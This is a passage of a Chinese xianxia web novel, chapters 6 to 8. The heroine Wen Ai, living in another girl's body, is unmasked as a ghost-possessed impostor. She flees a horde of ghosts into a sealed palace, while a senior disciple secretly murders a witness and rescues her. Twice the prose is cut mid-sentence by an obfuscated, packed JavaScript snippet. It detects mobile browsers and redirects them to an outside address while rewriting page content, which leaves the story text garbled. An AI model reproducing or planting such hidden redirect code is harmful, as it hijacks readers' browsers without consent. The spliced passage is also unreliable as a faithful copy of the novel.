趁着南宫月半也一头雾水,温艾快马加鞭地添油加醋,“那个男人与我两情相悦,师姐因一时痛失所爱,痰迷心窍,此刻见一个咬一个,已经不正常了。大师兄千万不要听信她一家之言!” 南宫月半茫然一阵后大怒,“你胡说什么?”嚷嚷了一阵,她突然抓狂道:“你不是阿伞,你到底是什么人!” 温艾心下一沉,立刻义正言辞地反驳:“师姐糊涂了,我若不是阿伞,又能是什么人?” 南宫月半:“真正的阿伞……真正的阿伞早就已经死了!她的尸体……我亲眼见过她的尸体,就在她的屋子里!” 温艾仍在冷笑:“师姐当务之急是去治治眼疾,我这不是好好站在这吗?怎么咒我死呢?” 但南宫月半下一句,却让她彻底笑不出来了。 南宫月半,“我有证据!” “阿伞欠我钱没还。那天她死后,我为拿走她手上的空间戒,把她的无名指掰折了!” “死人的手指头不管过了多久都是不会复原的,表舅,你快看她的手指头!” 6. 第 6 章 - 在软绵垂下的手指被南宫服注意到那一刻,霎时间温艾天灵盖一阵发麻,尾指控制不住地痉挛起来,却又怒从心头起,恶向胆边生。 怪不得,阿伞一穷二白…… 钱原来都被南宫月半拿走了! 温艾死死地盯着南宫月半。 “谁拿我的钱,我要谁的命!” 死到临头了,她却还在恶狠狠地想若有机会,她一定会弄死这个死胖子! 南宫月半却也不甘示弱,一门心思要与她同归于尽似的,抓着南宫服的手臂声嘶力竭、言之凿凿地吼道:“表舅你现在看到了吧,阿伞她是被鬼上身了,她不是阿伞,你快除了她!” 南宫服大吃一惊,怔怔地看着温艾,似也觉眼前那个他熟悉的贫困而善良的少女今日言行举止与以往不同。 斜阳泻地,穿林暗光如野火。 一只雪霖鸟惊声尖叫一声,拍打林枝落下一片粼粼霜雾而去。 南宫服敦厚的脸透出一丝古板凝重,定定看向瘦弱少女的一双眼犹然带着不敢置信,只是手已一刻不停从空间戒取出一张澄黄符纸。 符纸迎风自燃,拖着一条烈焰滚烫的火舌向温艾的方向飞去。 温艾木然立在原地,仿佛无动于衷。 这是绍宋自创的明鬼符,一旦嗅到鬼气,就会饿鬼扑食一般扑上去。 凭她的修为体质,她反抗还是逃跑都不过是自取其辱,天命如此,她难逃一劫。 却见说时迟,那时快,明鬼符飞向温艾的一刻,一片绀紫色的雾气自温艾背后攀爬过来。 铺天盖地的雾气中似有无穷骷髅鬼脸,令整片山林遮天蔽日,凄厉的尖叫撕裂人们的眼耳,震荡人们的心灵。 明鬼符飞到一半,就吓怂一般僵滞不前簌簌抖动,飞快烧完了。 伴随万山恶鬼出世这一雄壮气势的,是南宫月半不相上下的鬼哭狼嚎。南宫服利剑出鞘挺身而出,将南宫月半护在一片扇形的剑光之后。 他割破手心,蕴含灵气的鲜血淋淋漓漓覆在剑上,吸引恶鬼来食。 他力战群鬼大杀四方,终于拼出一线生机,抬头看时,却见那瘦弱似竹苗的少女已在漫天缭绕的恶煞黑雾前,彻底消失不见了。 猛然间,南宫月半浑身一抖,冲上前一步。 “阿伞!!” * 温艾似听见有人在呼唤自己。 “因因。” “因因。” 那是一个男人低绵的、潮湿的呼唤,就,很像……在□□。 然而谁会这么叫她呢? 反正不可能是她的前夫绍宋。 绍宋一没和她睡过,二也不知道她的小名叫因因。 温艾这小名,按理说也只有她的家里人知道,是她早已仙逝的父亲给她取的。 她自小顽劣凉薄,任性自私,闯祸后还不认,没少在父亲温宿雪手底下挨过板子。 外祖父疼女儿,也疼外孙女,常常一把将温艾搂到身后,像圣上御前的老太监一般哄得温宿雪消气。而温艾幼年时则活似一个没心没肺的小公主。 温宿雪拿她没办法,对她记仇不记恩的刻薄性子时常长吁短叹。 后来,某日在书房教她写字,他心血来潮给她写了两个字。 ——因果。 温宿雪温热的大手摩挲着她的头顶,语重心长道:“温艾,为父送你这两个字。需记人生在世,种瓜得瓜种豆得豆,自有因果报应,需行善事莫为恶。” ——后来温艾长大后,对驾鹤仙逝的父亲的印象渐渐模糊。只在临死前那刻莫名记起这番话,才感慨自己父亲真不愧是前任仙督,英明神武,早有远见啊。 ——料定了她这一辈子作孽多端,不得善终,她这一生就果真如此。 她自此有了一个小名,“温因果”。 但外祖父嫌这名字阴阳怪气,不大好听,只管“因因”、“因因”的叫她。父亲与外祖父相继离世后,孤女因铃来到温家,在那以后母亲与弟弟一天到晚皆唤因铃,无人再唤因果与因因。 渐渐地,她自己也忘了自己还有一个小名。 眼下突然被人唤起,温艾浑身一震,一阵恍惚。 她回头看去,手臂猛然被一只牙尖嘴利的狰狞恶鬼咬住,人也被扑倒在地。 竹青灯笼袖道袍很快被她身下一滩鲜血洇湿。 温艾雪雪呼痛,竭尽全身力气挡住恶鬼的进一步攻击,心下存着一丝渺茫的希望。 万鬼出山。 其中一只会是她过去的亲人吗?他们会来找她吗? 危急时分,她什么鬼话竟都说出来了。 “父亲,外祖!你们要是在的话,就帮我渡过这一劫吧,以后我一定会积德行善,多结善果……” “轰隆——”紫云密布的天空中电闪雷鸣,一条闪电枝枝桠垭的裂散。 山间万籁俱寂,虫鱼鸟兽皆因异象而蛰伏不出。 温艾的祈祷没有起到一丝一毫的作用。 山鬼拖拽她,穷凶极恶地撕咬她,在她两条甘蔗一般皙白削直的小腿留下一排深深啮印,血液源源不断地沿着肌肤流下,流淌成河。 她狼狈匍匐在地,一身伤痕鲜血淋淋。因为疼痛,眼角落下滚烫的泪珠。 一脚借力踹开恶鬼,求生欲达到巅峰,她终于怒吼一声竭尽全力起身,往林子深处踉跄跑去。 * 黑雾弥漫,群鬼哀嚎。 漫山遍野的春日风光被这煞风景的群鬼乱象搅成了一滩浑水。 恶鬼在身后嘶吼声撼天动地,穷追不舍。 温艾深一脚浅一脚,跑得力不从心,踉踉跄跄。 几乎奔溃的她,想起了前一世长荼仙山后山的一座宫殿。 ——广烛殿。 当年绍宋复活温因铃,就是背着所有人在广烛殿布置了一个逆天而为的禁术,禁术名为女娲阵法,可以起死回生。 但代神行事,驳了老天爷的面子,总是有代价的。 这代价,便是传说中鬼界之门封印的松动。 温艾出生玄道世家,自小听说过世间恶鬼横行的来源。这来源却有些传说色彩。据传这世间有一座山,葬万骨、埋万魂,群山阴气缭绕,在山腹最深处有一座黑色大门,门后便是九幽地狱。 那时候的她,不会想到这座上古荒山还存在于世。 更不会想到自己有朝一日会嫁进这座后来被人交口称赞的、仙气缭绕的“鬼山”。 是的,长荼仙山就是这座臭名昭著的鬼山。 绍宋当初年少有为,因摆平川中鬼都之祸在仙门江湖声名鹊起,绍家势力树大根深,在仙盟大会上倾尽全力托举他,当时四十八座仙山洞府排在他面前,完全任君采撷。 也不知是出于什么独特的趣味,他偏偏挑中了长荼仙山。 后来温因铃死了。 这座鬼山倒给他派上了至关重要的用场。 绍宋在后山布置女娲阵法,召出广烛殿虚开鬼界之门,引温因铃魂魄重返人世。 回到他精心保存的她昔日的躯体之中。 也就是那一日,万鬼出山,苍天震怒,整个长荼仙山差点因他而毁之一旦。 比起惊愕茫然、不知所措的长老院,温艾反而是气急败坏、最先做出反应的那一个。 温艾一直觊觎山主之位,经年经营,投入无数心血,就为抢走长荼仙山这一只下金蛋的鸡。 她怎么可能眼睁睁看着绍宋把她的金鸡杀了! 温艾本来与绍宋无冤无仇,绍宋便是她名义上的丈夫,却喜欢她姐姐、背地里想复活她姐姐,她也一点儿不在乎。 她爱的本来就是绍宋的权利地位,又不是绍宋本人。 绍宋不务正业,荒芜宗门事务,只会有利于她夺权捞钱。 但绍宋来这一出,可以说真把她逼急了。 她只好把夺权的人生大事提前,带领手下心腹前往后山破坏女娲阵法。 彼时后山兵荒马乱,恶鬼缠住了她的大部分人马,两方人马厮杀不休。 她很不幸,独自倾尽全力封阵时,被绍宋捉住了。 当时那情况……简直了。 可以说是乱成一锅粥。 绍宋忙着弄死她。 绍宋的三个好徒弟忙着复活温因铃。 长老院忙着封印整个鬼殿大门。 她死前双眼血泪模糊,亦被绍宋报复性地剥夺了眼魂,在尘世间看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408831|200632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见的最后一幕,恰巧是温因铃从广烛殿大门魂兮归来,一路狂奔投入绍宋怀抱的恩爱场面。 不知为何……那一刻,绍宋竟似乎抬头看了一眼。 反正最后就是绍宋抱得美人归。 长老院渔翁得利,山主大权旁落。 就她温艾,倒霉蛋一个,啥也没捞着,还落了个身败名裂、粉身碎骨、遗臭万年的悲惨下场。 一想起以前的事情,温艾就气得想呕血。 金星浮现,暮色四合,她在茂密丛林里拔足狂奔,心口莫名狠狠一跳,下意识抬头一看,竟眼睁睁看着黑雾上方,逐渐浮现一座巍峨漆黑殿宇。 一瞬间,她浑身浮现出一股挥之不去的森冷感, ——不是,广烛殿怎会重现于世? 十五年前,万鬼出山,这座宫殿应该就毁灭了才对。 除非……有人又一次启用女娲阵法,打开了鬼殿之门,复活了某人。 某人? 这世间还有如绍宋对温因铃那般痴情不二的人吗? 这些恋爱脑的傻子能不能少一点啊,光知道祸祸别人了。 温艾一腔怒火蓬勃欲发,反而激发了她前所未有的战斗力。 她鞋尖抵住黄泥堪堪停下,折下一根树枝,反手插入从树上扑落的一只丧尸脑袋。 正要跑,却忽而脚尖一转,似乎发现了什么,立即蹲下身在丧尸破烂的衣服里翻找起来。 有了。 温艾眼前一亮,指尖捉紧一缕飘忽摇曳的魂魄。 ——这一缕眼魂黑白分明,形似一尾游鱼。竟来自一位化星境大能的。 她自小生了一双天赋异禀的阴阳眼,能见鬼身,听鬼语,辨鬼平生。 阿伞身上一个能用的刀剑、法宝都没有。 有大能眼魂震慑护身,温艾心想自己逃出去的可能性至少大一点。 正拔足跑路,她心里又闪过一丝微妙的念头,黑白色的眼魂?那不是绍家的魂色吗?绍家近年陨落的化形境大能……难不成是那一位,琴女? 温艾立时眼尾抽搐了一下。 * 当年温艾杀去后山破坏阵法时,路上曾发生过一个小插曲。 她在一棵树下,撞见了上吊而死的绍琴。 她的这个小姑子为人高雅性情寡淡,吴带当风,独居幽谷,与她这等贪财好色的俗人平日没有什么往来,她自然不会知道绍琴好端端地为什么要吊死。 她赶路着急,也就没有把绍琴的死放在心上,第一时间告知旁人。 十五年后的今天。 温艾借着阿伞的身子到处溜达,听闲话。 却听了一箩筐骂自己的坏话。 “前任山主夫人可真是心狠手辣,无恶不作。” “山主的妹妹,昔日一手五弦琴风华绝代的琴女长老,便是被她残忍杀害的。” “听说琴女大人的尸身至今下落不明,魂魄无处收敛,唉……” 温艾当时手里瓜子皮一攥,硌得白嫩的掌心一片红痕。 什么玩意。 欺负死人不会说话是吧,什么黑锅全往她头上扣。 后来她转念一想,又有些沧桑,不管好的坏的,至少还有人记得她。 总比死后骨灰一扬、无人问津的好。 * 温艾这辈子都没想过会和绍琴扯上什么关系。俩人同一日死后,偏偏生出一段孽缘。 她手里揉捏着棉絮一般的黑白色眼魂,心下一抖,只暗道:“邵琴你听好了,杀你的人可不是我温艾,冤有头债有主,你要报仇就去找别人。” 奈何她倒霉透顶。 心声一出,下一刻,一旁的林子里就扑出一只面目狰狞可怖的小鬼。 温艾只当是琴女杀来了,一时间吓得浑身血液结冰,手中眼魂递出,一叠声尖声道:“还你还你,还你还不行吗!” 黑白眼魂化为太极游鱼,向上旋转时,发出一股空灵琴音。 那小鬼竟似被这眼魂震住,愤怒咆哮,做出猫狗刨泥的动作,并不敢上前。 温艾仰头一看,却是呆住了。 这小鬼,长了一张“和她一模一样”的脸。 这小鬼,是阿伞本尊。 7. 第 7 章 - 晦日月蚀,极阴之日。 万鬼出山,仙山大乱。 温艾浑身冷汗涔涔,缓缓坐直身子,借着琴女眼魂的黑白光辉去看对面那一个少女恶鬼。 阿伞生前瘦弱矮小,死后做鬼也不是很出色。只是她怨煞之气十分旺盛,眼白绽放,目眦欲裂,仿佛一门心思想吃了她。 温艾能看出恶鬼的心思,并不是她臆想的。 她从小便生了一双倒霉悲催的阴阳眼,比常人更容易碰到鬼秽,在失去外祖父与父亲保护后曾被不少恶鬼欺负过。 她知道鬼魂和人一样,强中自有强中手,也喜欢吞吃同类、壮大自己。 阿伞有想吃她的自由。 但真要吃她,未免痴心妄想了一点。 好歹她这具魂魄生前也是化星境。 她不过是舍不得褪下血肉皮囊,才在丛林里摸爬打滚,真当她菜啊。 骂骂咧咧回过神来,还是跑路要紧。 温艾手心收拢握住琴女眼魂,起身衣袍猎猎,似黑夜之中一片上下翻飞的绿色竹叶。 她回头望去,只见半边电闪雷鸣的绀紫夜幕之下,广烛殿已完全显出高大的轮廓。 大殿前侧,两扇盘踞狰狞符文的漆黑殿门正缓缓打开。 恶鬼似一股浊油从狭窄的门缝里源源不断地涌出。 这些重返人世的小鬼唤醒后山地底下埋的丧尸,无数骷髅鬼手如雨后春笋破土而出。 这景象太壮观了,不能多看。 她打了一个寒颤,掉头正欲往前山方向跑去,一掉头却几乎肝胆俱裂。 千军万马提灯入山。 众灯之上御剑负手而来的为首尊者,鎏金小冠束发,一身月白色的广袖道袍,神态倨傲矜冷,无端让人想起山巅素雪,潭底冷月。 正是她那前夫,长荼山主。 “呵……呵呵。” 温艾发现了,人在无语到极点的时候,真的会笑。 服了。 这世上还有比她更倒霉的人吗。 有的有的。 包有的。 下一刻的她自己就是。 下一刻,但见一抹黄泥色的身影扑头盖脸飞来,压在了温艾身上。温艾心急之下正欲起身,被阿伞这一记飞扑压翻,俩人难舍难分地沿着山坡往下滚去。 * 这一滚,天昏地暗,五脏六腑颠倒逆流。 后脑勺还撞到一块石头,疼得要命。 温艾一把推开阿伞,心中暗骂:“小孩一边玩去,捣什么乱。” 再往四下一看,山林如鬼蜮,光影缭乱,却是再寻不到下山的路了。 温艾胸口一阵刺骨凉意弥漫。 偏偏一边的阿伞不依不饶扑咬上来,温艾一记掌掴,将阿伞那张龇牙咧嘴的小脸扇歪。 见阿伞还要动作,她索性翻身而上,三下五除二扯上一条藤萝抹上掌心鲜血,将阿伞捆绑了起来。 修士之血可以镇煞。 虽然说阿伞肉身已死去多时,血液并不新鲜,血肉也没怎么经过纯质灵力洗淬,一般是镇不住的。 但巧就巧在这是阿伞自己的血,犹如吃到母乳的孩子,阿伞一瞬不闹了。 温艾跪伏在阿伞的鬼身前面,冷汗沿着下颌滴落,长出一口气。 她明明与阿伞长相身材一模一样。 但若有第二人在,此时看去却会莫名觉得温艾比阿伞强壮高大许多,就仿佛地上躺着的阿伞……是她的影子。 密林深处恶鬼咆哮,地动山摇。 山腰处人马纷纷,明火执仗,一路包抄上来。 温艾背靠的这一棵芭蕉树阔大如亭,给她提供了可怜的一点庇身之所,但被捉到并发现是迟早的事。 她不停地抹汗,用小树枝在地上画着阵法,没有灵力,这些阵法只能起到微末的遮蔽作用。不管怎么着也不能等死。 就在温艾终于画完一个阵法,令葳蕤丛林后后一双双蠢蠢欲动的鬼目褪去,正松了一口气时,头顶上一小片天空突然充斥灼灼光辉。 光辉如雪粒,纷繁落地。 那一瞬温艾似一个被拉扯的皮影,刹那几乎脱离阿伞的肉身,一缕光辉似照进她灵魂深处,令她泛起滚烫的战栗……她恍惚间想起来这是绍宋的杀手锏——照世剑。 照世剑都出来了。 还有活路吗。 丛林中一大堆恶鬼见光死,到处是撕心裂肺的鬼哭狼嚎,一片浓烟冲天而起。 温艾也剧痛无比,难以呼吸,灵魂似附着在一片草叶、一粒露珠上,即将因光风而逝去。 她心内忍不住暗骂:“绍宋你个死乌龟。” 却气得差点想笑。 真的,上一世死在绍宋手上前,她也是这么骂的。 * 但可能正印了那句“好人不长命,祸害遗万年”,温艾这一回还是很难杀。 在她被照世剑光的一刻,大团大团黑雾弥漫过来,鬼殿一角漆黑轮廓浮现在她身侧。 一扇窄门正等她似的恰好开着。 黑雾笼罩温艾,一刹那,温艾的魂魄回到阿伞体内,她如一只笨拙的断线木偶,不顾一切地跌跌撞撞地冲向门口。 光辉紧咬上来。 逃命的关头,分秒必争。 正当温艾拖着沉重步伐奔跑时,忽然听见一声微弱的咿呀,似一缕微风钻进耳内。 那一刻,温艾步伐一顿,在照世剑光淋淋漓漓袭来之前,她鬼使神差回头,一把揪住了簌簌发抖的小女鬼阿伞,将阿伞一块带进了广烛殿里。 * 窄门后黑雾弥漫,啥也看不清楚。 但头顶上紫光旋转,如莲花千瓣,投照在辽阔无垠的空间内。 仰头看去,会发现那是一盏绀紫色的绣灯,如神像一般,被供在香案之上。 温艾与阿伞立在灯下。 地上背影很长。 温艾贪财的毛病犯了,刚死里逃生,她却又情不自禁盯着那盏紫灯打量了一盏茶的功夫,想弄明白紫灯是什么宝物。 正寻思着,她心头电光火石浮现一丝灵感,猛然低头看去,果然! 自己这个“大活人”脚下没有影子。 而阿伞这个小女鬼脚下却有一张鬼脸面具。 这丑陋粗糙宛如儿戏的鬼脸面具,估计就是是阿伞的眼魂。 修士以眼、心一体入道,也即看到什么,即修什么道。可以说眼魂是修士最重要五蕴之一。 这盏绀紫绣灯能照出修士的眼魂,怪不得会被供在广烛殿内。 例如绍家琴女,便是一尾黑白阴阳鱼。 琴女是绍家幼.女,她所入之道必是绍家精挑细选、最合女性修炼之途的道途。但阿伞出身低微,光只入道一事对她来说已是祖坟冒青烟,不会有人为她准备,所以这张面具对她来说一定至关重要。 没准救过她的命,她才会以此入道。 温艾擦了擦磨破皮的鼻子,心内暗道:“我也救过你的命啊。” 不知为何,她有点羞耻。 转念一想,她又释然了,她是第一次做好人,但没说她要做那种无私奉献的好人,于是她对阿伞的语气立马颐指气使起来,“喂,记得啊,我救过你,以后要报答我知不知道?” 阿伞原本苍白僵滞,宛如一团皱巴巴的纸团,蜷缩在她身后。 闻言,木讷地抬起头。 双眼无神地看着她。 温艾一时间有点后悔。 阿伞的孤魂在后山已经浪荡一个月了,人死七天回门寻求生缘,错过便会困在尘世变成一只没有记忆与意识的恶鬼。显然,阿伞已经变成恶鬼了。 她还救她,这不吃饱了撑的吗? 温艾一说起吃就有点发虚,从早上到现在她还只吃了几根笋、几粒草莓,又是一天接连不断的求生,搁谁谁也得虚。 她在空无一物的地上坐下。 人疲倦时,强大如她,也总会有一点情绪低沉。 她的眼魂已经被绍宋剥夺了,哪怕鬼上身了,她也不可能再修道,她现在是一个纯纯的废人。 一个饭都吃不饱、伤都无法恢复、有宝物在眼前都拿不到的废人。 眼下,她和一个毫无用处的小女鬼躲在鬼殿内,绀灯相伴,死生难料。 外面,绍宋正全世界搜捕追杀她。 去外边送死,自然是不可能的。 但只要绍宋一关闭广烛殿大门,她们一样会在幽室中魂飞魄散。 不过是菏泽之鱼,苟延残喘罢了。 温艾就地躺下,叹了一口气。 忽然有点后悔。 白天怎么没有答应梁巽泽,和他好好去吃一顿,至少也是一顿断头饭了。 温艾正叹着气,忽看见旁边蹲着的小女鬼掉过头来,呆呆地看着自己。 温艾面无表情地回视。 准备对方一有异动,她就和她拼了。 下一刻,阿伞果真飞扑过来,温艾暗骂一声滚地躲开。 却见一道惨白鬼影横空扑出。 鬼影扑了个空,没能抓住她,却是一把抓住了阿伞,俩人就地扭打起来。 温艾一下乐了,“可以,我魅力不减啊,这么快就驯服了一只小狗。” 只是新收的小狗不是很强,很快被恶鬼压制在身下,似一团快被大风吃没的棉花糖,在恶鬼的撕咬中此消彼长。 温艾撕下一块血污的衣服,团缠在手上,上前一步靠近恶鬼,三下五除二绕过恶鬼脖子,手肘顶住恶鬼肩膀一用力,正嚣张狞笑的恶鬼脖子嘎吱一声,软了。 地上的小女鬼神情呆滞,仰面逆光看来。 唇瓣动了动。 似在说,“小……姐?” 温艾愣怔之下,唇角弯了弯,真稀奇,好久没人叫她小姐了。 新收的小狗真上道。 她随手拍了拍阿伞的小脑袋,往绣灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408832|200632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投下的一束冷辉里走去,准备趁着还有力气研究研究怎么拿到这一盏宝灯。 没准借助宝灯,她们两个能在广烛殿内多苟一会。 不料下一刻。 绣灯似被一阵大风吹歪,一根根穗子笔直飘来,斜斜垂向温艾。 温艾脚步一顿,暗自惊喜:“大宝贝通常都有认主的癖好。难不成我运气终于好了一回,被这盏宝灯认主了?” 却见地上深紫色的莲花倒影一重一重,飞速旋转起来,似是快活异常地包围住她。 霎时间,温艾只觉似有一床温暖而柔软的棉被从天而降覆盖住她的头脸,在淡淡的阴影里,她浑身的疲倦伤累快速愈合,有一股说不出的满足感。她眼皮一垂,毫无征兆地,委地睡了过去。 四周黑雾缓缓涌来。 青面獠牙的恶鬼掠过半空,掠过地上躺着的阿伞。 向温艾奔去。 绀灯内遗失的紫珠在那个女人身上! 杀死她! 夺走紫珠! 他们就能起死回生了! * 漫山遍野剑光缭乱,踏平鬼蜮。 梁巽泽拉弓射死一只猖獗大笑的大鬼,在一片纷飞起舞的树枝里,面不改色回头看去。看见他大师兄南宫服仍然正紧锁眉头,东奔西走,向满世界大喊:“阿伞!阿伞!!” 南宫服身后,一个胖女人哭得像死了爹娘,踉踉跄跄跟在南宫服身后,生怕没了南宫服的保护,她就会死在这里。 梁巽泽放下微木弓。 他淡蓝色的细绸衣袍随风飘曳,身形却纹丝不动。 温静如玉石的黑眼珠,定定地看着南宫家的小胖子。 常人皆道白鹿神君性情温驯淡泊,与世无争,平易近人,是仙山第一流君子。 但若有人看了他此刻晦暗冷漠的眼珠。 定会吓得打一个冷颤。 朔月浓云遮蔽。 风吹四野。 梁巽泽面孔仍未转向,却忽然抬起长而削白的眼皮,眼珠恢复布满光泽感的温润乌黑。 他听见身后有人阴沉沉唤了他一声,“二师兄。” 江狩从他身后走来,手掌扣住利剑的剑柄,对满山的动乱一副置身事外、无动于衷的样子。他没有为师尊分忧的心思,却嗤笑问道:“二师兄不去帮忙,在这做什么呢?” 梁巽泽微微一笑,好脾气地答道:“你大师兄在找人,我过去帮他一下。你先去面见师尊帮我知会一声,别惹师尊生气了。” 江狩“啧”了一声,似乎梁巽泽的话,又有哪一句惹到他了。 他这二师兄梁巽泽最会做好人。 明里暗里与大师兄南宫服争夺下一届山主之位,还要在这里向大师兄献殷勤。 江狩懒得理睬两位师兄的勾心斗角,更不屑于讨好师尊绍宋,又冷笑一声,道:“他生不生气,与我何干。”说罢,掌中长剑脱鞘飞空,他上前一步踏剑飞去。 梁巽泽摇了摇头,似乎拿他这个叛逆阴沉、喜怒无常的小师弟没辙。 一转身,梁巽泽拨开草木走近南宫服。 南宫服急得满头大汗,见他便大叫道:“二师弟,你看见一个脸上长了几粒雀斑、很瘦很矮小的师妹了吗?” 梁巽泽摇头,又道:“师兄急着找人,不若我来保护南宫师妹。” 南宫服心急如焚,“好。那就有劳二师弟了。” 说罢,南宫服拔足奔跑,消失在密林深处。 林子后,终于拨开一片荆棘、千辛万苦跟上来的南宫小胖子气喘吁吁,不住道:“表舅,表舅,等等我……” 却没有听见南宫服的声音。 她抬头一看,只见到一抹淡蓝色的高挑身影。 梁巽泽神态如常,俯视着她。 一瞬间,南宫小胖子打了一个寒颤,挤出一个比哭还难看的笑容,往后退去。 “白鹿神君,好多、好多鬼……救命!” 梁巽泽没等她转身,一把揪住她的发髻,将她头一扭,脖颈整根断裂刺穿皮肤,他却一脸淡然,在她身子软趴趴滑下去之前,将她扔进了另外一边蠕动不止的恶鬼沼泽里。 风轻云淡做完这一切,梁巽泽静静立在沼泽边,漆黑的池沼映出他如玉修长的身形。 眼下知道了温艾身份的,除了这两个不值一提的、已经命丧黄泉的小人物。 还有他那个实心眼的大师兄。 他奉家族之命,与南宫服周旋多年,争夺人心与地位。 但其实他对南宫服并无私怨。 不会想着,置南宫服于死地。 现在,不一样了。 * 池沼燃起尸火。 梁巽泽沿着尸骸沉底的池子走来,走进鬼殿大门内,抬手一箭化为流光,将觊觎她的万鬼钉死在地上。 他抱起她。 旁若无人地用指腹蹭了蹭她脸上的灰尘。 低语温柔,“因因。” 8. 调查 - 眼睛一睁,温艾醒了过来。她眨了眨睫毛,感觉眼珠酸涩冷滞,不由揉了揉眼,心生感慨。 许久没睡过这么踏实的大觉了。 ……乃至差一点忘了,自己现在生死未卜。 等等,自己刚才在干什么来着? 不是想摘宝灯吗? 温艾手掌撑在地面上缓缓起身,抬头看去,但见四周一片伸手不见五指的漆黑,极高的殿顶附近却有一抹绀紫色的灯辉,一串莲花晃动在她眼皮上。 她眨了眨眼睫,猝不及防地,面前飘过一片湛蓝明亮如夏日天空的细绸衣袍。 刹那间,她眼前一亮。 沿着那上下翻飞的衣袍看去,只见不远处,一个蓝衣青年背影高挑,似清夜嘉树,一双稳稳控弓的手臂看来那般修长,一根根手指看来那般骨感分明、皙白如玉,富有美感。 这一幕太过惊艳,温艾几乎看怔了,心脏也狠狠跳了一下。 她见过好看的孩子。 却真的没见过如此合她口味的美少年。 只恨生不逢时啊,若是前世,她高低要睡了他。 温艾一脑门乱七八糟的想法,整个人晕乎乎的,还没意识到令她沉溺的美貌来自于谁,直到青年松弦射箭,一箭化为万千流光,散入夜空,对面漆黑墙壁上蝙蝠一般密密麻麻的恶鬼纷纷坠落。 潋滟流光映亮青年一双温润俊美的眉目。 她才猛然惊醒。 这……这人看起来似是梁巽泽? 不是,梁巽泽怎么会出现在这里! 刹那间,温艾后背一紧,漆黑睫毛簌簌发抖,浑圆黝黑的瞳仁睁大,呆滞在原地。 正巧梁巽泽转过头来,居高临下地看向她。 似见她受惊而忍俊不禁,他唇边微微噙笑,“阿伞姑娘,你怎么了。怎么看见我,似乎比看见鬼还害怕?” 温艾收拢容色,讪讪地低头道:“神君误会,我是看见神君太高兴了才瞪大了眼珠子。” 心内却一阵腹诽:我能不害怕吗。等会你再喜欢我一点,我姐就该来抓我千刀万剐了。 过路诸天神仙保佑,她温艾这辈子真的只想当一个生不闻名、死不惊人的小人物,不想再和什么《诛鬼》小说里的主角团扯上一丁点关系了。 千万别让梁巽泽喜欢上她好吗! 温艾一心想离梁巽泽远一点,因而梁巽泽明明救了她的命,她却看不出一点儿感激。她爬起来拍拍屁股上的灰尘,没礼貌地问道:“神君,从哪儿出去?” 饶是梁巽泽温和淡定,也被她的异常态度弄得一怔,片刻,失笑道:“广烛殿已经被封了,我们暂时出不去了。” 温艾:“……” 她沉默一息,问:“暂时是多久?” 梁巽泽十分坦然:“不清楚。” 绀紫灯辉照出梁巽泽身侧一头高大白鹿的影子。 那是梁巽泽的眼魂。 也是上古神鹿认主的迹象。 据传梁家小公子梁巽泽是世上唯一一个,眼魂来自于上古祥瑞,可以离体而活的人。这举世无双的天赋,便是在绍宋的地盘都能力压绍宋一头。 温艾前世曾掌握多方情报,她知道这不是据传。 这是真的。 梁巽泽的确在三千修士中独秀一枝。 若连梁巽泽都不清楚怎么离开广烛殿,那几乎可以说世上没有人清楚怎么离开了。 温艾定定地看了梁巽泽一眼,那眼神充满欲言又止的复杂,与难以遮掩的怀疑。 梁巽泽:“阿伞姑娘看着我做什么?” 温艾本想开门见山,话到嘴边却怂了,破天荒拐了一个弯,“神君怎会出现在广烛殿内?” 梁巽泽伸出几根纤白手指,抚了抚护腕,垂下浓长睫羽,微微笑道:“师尊平日耳提面命叫弟子救死扶伤。我身为若青堂的二师兄,见到同门有难,自然要前来搭救。” 温艾不语。 内心一阵无语,骗鬼呢这是。 长荼山主绍宋看似坐镇仙山,肩负天下苍生的安危,是一个看破红尘、超然物外的玄道大尊。 其实他这一辈子却拘泥于小情小爱,从不肯俯首见苍生。 他座下徒弟个个出身玄道世族,非富即贵,奔着讨好绍宋以求更上一层楼的前途,又怎会已识乾坤大,犹怜草木青,那般不识抬举、自降身份? 梁巽泽说的显见不是实话。 不行,弄不明白梁巽泽出现在这里的原因,她就浑身不舒坦。 回想起来,梁巽泽从第一面的百般上心,到现在舍命相救,桩桩件件都让她心惊担颤,不能放下。 梁巽泽究竟有没有认出她呢? ……但按理说梁巽泽就算是认出她了,他对她也才27%的好感度啊。 他这样一个韬光养晦、前途无量的大好青年,也不至于命都不要了,也要来救她吧。 ——所以。 ——梁巽泽盯上她,有可能是因为别的,对吧! 温艾心里电光火石一片明亮,瞬间松了口气。 只要梁巽泽不喜欢她、不害她就行。什么都好说。 温艾又忖了忖,还是想要一个确切的结果,才能心里踏实。 她盯着梁巽泽,眉眼耷拉,仿佛诚惶诚恐一般。却是委婉试探道:“我只是一个资质平平,又无人缘又不起眼的小师妹,不知道哪里值得师兄以身涉险?” 梁巽泽闻言,仿佛失笑,“阿伞姑娘这是在讽刺我并无一颗兼济天下的仁心,而是别有所图吗?” 温艾揉弄着发僵的腮帮子,止不住叹气,“我有一句话,不知当问不当问。” 梁巽泽:“说吧。” 温艾:“师兄可是看上我了?” 梁巽泽定定地看着她,脸上笑意逐渐收敛,明正若神的脸庞,看着便是一个不会撒谎、也不会做亏心事的好孩子。 